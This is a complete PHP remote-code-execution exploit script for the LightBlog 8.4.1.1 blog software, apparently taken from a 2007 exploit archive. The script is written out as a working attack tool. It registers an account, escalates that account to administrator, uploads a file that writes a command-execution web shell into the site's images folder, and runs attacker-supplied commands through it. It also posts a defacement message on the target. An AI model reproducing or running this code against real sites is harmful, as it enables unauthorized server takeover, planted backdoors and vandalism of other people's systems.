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lightblog-exec.txt

Posted on 10 October 2007

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
LightBlog 8.4.1.1 Remote Code Execution Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love

";
if ($argc<3) {
echo "Usage: php ".$argv[0]." Host Path
Host:          target server (ip/hostname)
Path:          path of lightblog

Example:
php ".$argv[0]." localhost /lightblog/ dir";

die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.="  .";}
else
{$result.="  ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="
"; $exa.="
";}
}
return $exa."
".$result;
}
$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...
";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);


$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step 0 - If Shell already exists, run it..
";
$packet ="GET ".$p."images/piggy_marty.php?cmd=$cmd HTTP/1.0
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded...
";
$temp=explode("666999",$html);
die("
".$temp[1]."
");
}

echo 'Step 1 - Creating New User (Name: Piggy_Marty Pwd: DAFORNO_IMPERAT)..';
//Retrieving the "confirmation" code
$packet ="GET ".$p."register.php HTTP/1.0
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet);

preg_match('#<b>([a-zA-Z0-9]+?)</b><input name="rand" type="hidden" value="([a-zA-Z0-9]+?)" />#is', $html, $fuori);

$conf_code = $fuori[1];
$rand_code = $fuori[2];

//Doing the registration
$data="rand=$rand_code&val=$conf_code&username_post=Piggy_Marty&pwd1_post=DAFORNO_IMPERAT&pwd2_post=DAFORNO_IMPERAT&name_post=Piggy_Marty&email_post=hawkgotyou@gmail.com";
$packet="POST ".$p."register.php HTTP/1.0
";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*
";
$packet.="Accept-Language: it
";
$packet.="Content-Type: application/x-www-form-urlencoded
";
$packet.="Accept-Encoding: gzip, deflate
";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
";
$packet.="Host: localhost
";
$packet.="Content-Length: ".strlen($data)."
";
$packet.="Connection: Close
";
$packet.="Cache-Control: no-cache

";
$packet.=$data;
sendpacketii($packet);
sleep(1);

echo 'Step 2 - Promoting Piggy_Marty to admin level..';
$data="type_post=admin&username_post=Piggy_Marty";
$packet="POST ".$p."cp_memberedit.php HTTP/1.0
";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*
";
$packet.="Accept-Language: it
";
$packet.="Content-Type: application/x-www-form-urlencoded
";
$packet.="Accept-Encoding: gzip, deflate
";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
";
$packet.="Host: localhost
";
$packet.="Content-Length: ".strlen($data)."
";
$packet.="Connection: Close
";
$packet.="Cache-Control: no-cache

";
$packet.=$data;
sendpacketii($packet);
sleep(1);

echo 'Step 3 - Uploading Shell Creator..';
$data="-----------------------------7d529a1d23092a
";
$data.="Content-Disposition: form-data; name="image"; filename="piggy_marty_creator.php"
";
$data.="Content-Type:

";
$data.="<?php
$fp=fopen('piggy_marty.php','w');
fputs($fp,'<?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
$_GET[cmd]=stripslashes($_GET[cmd]);
}
echo 666999;
passthru($_GET[cmd]);
echo 666999;
?>');
fclose($fp);
chmod('piggy_marty.php',777);
?>
";
$data.='-----------------------------7d529a1d23092a
Content-Disposition: form-data; name="title"

Not so good if you see this..
-----------------------------7d529a1d23092a
Content-Disposition: form-data; name="post"

An Exploit has attacked your site.. contact hawkgotyou@gmail.com for more details
-----------------------------7d529a1d23092a--
';
$packet="POST ".$p."main.php HTTP/1.0
";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*
";
$packet.="Referer: http://".$host.$path."/
";
$packet.="Cookie: Lightblog_username=Piggy_Marty&Lightblog_password=DAFORNO_IMPERAT
";
$packet.="Accept-Language: it
";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a
";
$packet.="Accept-Encoding: gzip, deflate
";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
";
$packet.="Host: ".$host."
";
$packet.="Content-Length: ".strlen($data)."
";
$packet.="Connection: Close
";
$packet.="Cache-Control: no-cache

";
$packet.=$data;
sendpacketii($packet);
sleep(1);

echo 'Step 4 - Executing Creator..';
$packet ="GET ".$p."images/piggy_marty_creator.php HTTP/1.0
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet);
sleep(1);

echo "Step 5 - Execute Commands..
";
$packet ="GET ".$p."images/piggy_marty.php?cmd=$cmd HTTP/1.0
";
$packet.="Host: ".$host."
";
$packet.="Connection: Close

";
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded...
";
$temp=explode("666999",$html);
die("
".$temp[1]."
");
}

# Coded With BH Fast Generator v0.1
?>

 

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